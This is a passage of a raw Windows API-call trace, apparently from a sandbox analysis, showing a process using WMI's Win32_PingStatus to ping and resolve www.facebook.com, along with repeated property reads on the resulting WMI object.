varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ae1e4*=8, plFlavor=0x22ae1e8*=64) returned 0x0 [0138.780] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.780] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.780] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0138.780] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0138.780] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.780] IWbemClassObject:Get (in: This=0x5c506a0, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae420*=0, plFlavor=0x22ae424*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ae420*=8, plFlavor=0x22ae424*=0) returned 0x0 [0138.780] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.780] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.781] IWbemClassObject:Get (in: This=0x5c506a0, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ae420*=8, plFlavor=0x22ae424*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ae420*=8, plFlavor=0x22ae424*=0) returned 0x0 [0138.781] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.781] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.781] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c86e58*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2e0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0138.783] FreeAddrInfoW (pAddrInfo=0x5c86e58*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2e0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0138.783] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.784] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.784] EtwEventActivityIdControl () returned 0x0 [0138.784] EtwEventActivityIdControl () returned 0x0 [0138.785] EtwEventActivityIdControl () returned 0x0 [0138.785] EtwEventActivityIdControl () returned 0x0 [0138.785] EtwEventActivityIdControl () returned 0x0 [0138.785] EtwEventActivityIdControl () returned 0x0 [0138.786] EtwEventActivityIdControl () returned 0x0 [0138.786] EtwEventActivityIdControl () returned 0x0 [0138.786] EtwEventActivityIdControl () returned 0x0 [0138.786] EtwEventActivityIdControl () returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.786] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.786] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0138.786] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.786] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.786] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0138.786] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.787] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.787] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.787] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.787] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.787] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.787] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.787] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.787] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.787] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.787] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.787] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.787] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.787] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.787] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.787] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.787] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.787] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.787] SysStringByteLen (bstr="__PATH") returned 0xc [0138.787] SysStringByteLen (bstr="__PATH") returned 0xc [0138.787] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7808*=0, plFlavor=0x22b780c*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22b7808*=3, plFlavor=0x22b780c*=64) returned 0x0 [0138.788] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b783c*=0, plFlavor=0x22b7840*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b783c*=8, plFlavor=0x22b7840*=64) returned 0x0 [0138.788] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.788] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.788] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7894*=0, plFlavor=0x22b7898*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7894*=8, plFlavor=0x22b7898*=64) returned 0x0 [0138.788] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b78bc*=0, plFlavor=0x22b78c0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b78bc*=8, plFlavor=0x22b78c0*=64) returned 0x0 [0138.788] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.788] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.788] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7914*=0, plFlavor=0x22b7918*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b7914*=8, plFlavor=0x22b7918*=64) returned 0x0 [0138.788] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.788] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.789] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7af4*=0, plFlavor=0x22b7af8*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22b7af4*=3, plFlavor=0x22b7af8*=64) returned 0x0 [0138.789] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7b28*=0, plFlavor=0x22b7b2c*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22b7b28*=8200, plFlavor=0x22b7b2c*=64) returned 0x0 [0138.789] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7b5c*=0, plFlavor=0x22b7b60*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22b7b5c*=8, plFlavor=0x22b7b60*=64) returned 0x0 [0138.789] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.789] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.789] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7ba8*=0, plFlavor=0x22b7bac*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22b7ba8*=8, plFlavor=0x22b7bac*=64) returned 0x0 [0138.789] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.790] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.790] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7bf4*=0, plFlavor=0x22b7bf8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b7bf4*=8, plFlavor=0x22b7bf8*=64) returned 0x0 [0138.790] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.790] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.790] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0138.790] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0138.790] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.790] IWbemClassObject:Get (in: This=0x5c506a0, wszName="BufferSize", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b7e30*=0, plFlavor=0x22b7e34*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22b7e30*=19, plFlavor=0x22b7e34*=0) returned 0x0 [0138.790] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.791] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.791] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0138.791] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0138.791] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.791] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0138.791] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.791] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.791] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0138.791] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.791] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.791] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.791] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.791] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.791] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.791] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.791] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.791] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.791] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.792] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.792] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.792] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.792] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.792] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.792] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.792] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.792] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.792] SysStringByteLen (bstr="__PATH") returned 0xc [0138.792] SysStringByteLen (bstr="__PATH") returned 0xc [0138.792] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b81f0*=0, plFlavor=0x22b81f4*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22b81f0*=3, plFlavor=0x22b81f4*=64) returned 0x0 [0138.792] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8224*=0, plFlavor=0x22b8228*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b8224*=8, plFlavor=0x22b8228*=64) returned 0x0 [0138.792] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.792] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.793] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b827c*=0, plFlavor=0x22b8280*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b827c*=8, plFlavor=0x22b8280*=64) returned 0x0 [0138.793] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b82a4*=0, plFlavor=0x22b82a8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22b82a4*=8, plFlavor=0x22b82a8*=64) returned 0x0 [0138.793] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.793] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.793] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b82fc*=0, plFlavor=0x22b8300*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b82fc*=8, plFlavor=0x22b8300*=64) returned 0x0 [0138.793] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.793] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.793] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b84dc*=0, plFlavor=0x22b84e0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22b84dc*=3, plFlavor=0x22b84e0*=64) returned 0x0 [0138.793] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8510*=0, plFlavor=0x22b8514*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22b8510*=8200, plFlavor=0x22b8514*=64) returned 0x0 [0138.794] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8544*=0, plFlavor=0x22b8548*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22b8544*=8, plFlavor=0x22b8548*=64) returned 0x0 [0138.794] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.794] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.794] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8590*=0, plFlavor=0x22b8594*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22b8590*=8, plFlavor=0x22b8594*=64) returned 0x0 [0138.794] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.794] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.794] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b85dc*=0, plFlavor=0x22b85e0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22b85dc*=8, plFlavor=0x22b85e0*=64) returned 0x0 [0138.794] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.794] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0138.794] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0138.794] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.794] IWbemClassObject:Get (in: This=0x5c506a0, wszName="BufferSize", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8818*=0, plFlavor=0x22b881c*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22b8818*=19, plFlavor=0x22b881c*=0) returned 0x0 [0138.795] IWbemClassObject:Get (in: This=0x5c506a0, wszName="BufferSize", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22b8818*=19, plFlavor=0x22b881c*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22b8818*=19, plFlavor=0x22b881c*=0) returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.795] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: 